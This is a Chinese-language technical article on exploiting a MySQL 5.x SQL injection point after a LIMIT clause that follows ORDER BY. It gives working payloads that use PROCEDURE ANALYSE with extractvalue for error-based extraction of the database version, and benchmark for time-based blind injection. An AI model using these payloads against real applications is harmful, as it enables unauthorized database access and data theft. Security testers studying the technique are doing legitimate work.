描写sql注入利用方法的文章数不胜数，本文将描述一种比较特殊的场景。

mysql注入点在limit关键字后面的利用方法

细节

在一次测试中，我碰到了一个sql注入的问题，在网上没有搜到解决办法，当时的注入点是在limit关键字后面，数据库是mysql5.x,sql语句类似下面这样：

select field from table where id > 0 order by id limit 【注入点】

问题的关键在于，语句中有order by 关键字，我们知道，mysql 中在order by 前面可以使用union 关键字，所以如果注入点前面没有order by 关键字，就可以顺利的使用union 关键字，但是现在的情况是，注入点前面有order by 关键字，这个问题在stackoverflow 上和sla.ckers上都有讨论，但是都没有什么有效的解决办法。

我们先看看 mysql 5.x 的文档中的 select 的语法：

select

[all | distinct | distinctrow ]

[high_priority]

[straight_join]

[sql_small_result] [sql_big_result] [sql_buffer_result]

[sql_cache | sql_no_cache] [sql_calc_found_rows]

select_expr [, select_expr ...]

[from table_references

[where where_condition]

[group by {col_name | expr | position}

[asc | desc], ... [with rollup]]

[having where_condition]

[order by {col_name | expr | position}

[asc | desc], ...]

[limit {[offset,] row_count | row_count offset offset}]

[procedure procedure_name(argument_list)]

[into outfile 'file_name' export_options

| into dumpfile 'file_name'

| into var_name [, var_name]]

[for update | lock in share mode]]

limit 关键字后面还有 procedure 和 into 关键字，into 关键字可以用来写文件，但这在本文中不重要，这里的重点是 procedure 关键字.mysql默认可用的存储过程只有 analyse (doc)。

尝试用这个存储过程：

mysql> select field from table where id > 0 order by id limit 1,1 procedure analyse(1);

error 1386 (hy000): can't use order clause with this procedure

analyse支持两个参数，试试两个参数：

mysql> select field from table where id > 0 order by id limit 1,1 procedure analyse(1,1);

error 1386 (hy000): can't use order clause with this procedure

依然无效，尝试在 analyse 中插入 sql 语句：

mysql> select field from table where id > 0 order by id limit 1,1 procedure analyse((select if(mid(version(),1,1) like 5, sleep(5),1)),1);

响应如下：

error 1108 (hy000): incorrect parameters to procedure 'analyse’

事实证明，sleep 没有被执行，最终，我尝试了如下payload ：

mysql> select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

error 1105 (hy000): xpath syntax error: ':5.5.41-0ubuntu0.14.04.1'

啊哈，上面的方法就是常见的报错注入，所以，如果注入点支持报错，那所有问题都ok，但是如果注入点不是报错的，还可以使用 time-based 的注入，payload 如下：

select field from table where id > 0 order by id limit 1,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)

有意思的是，这里不能用sleep而只能用 benchmark。

另外，这里还有一种类似的方法 https://rdot.org/forum/showpost.php?p=36186&postcount=30

更多信息请查看IT技术专栏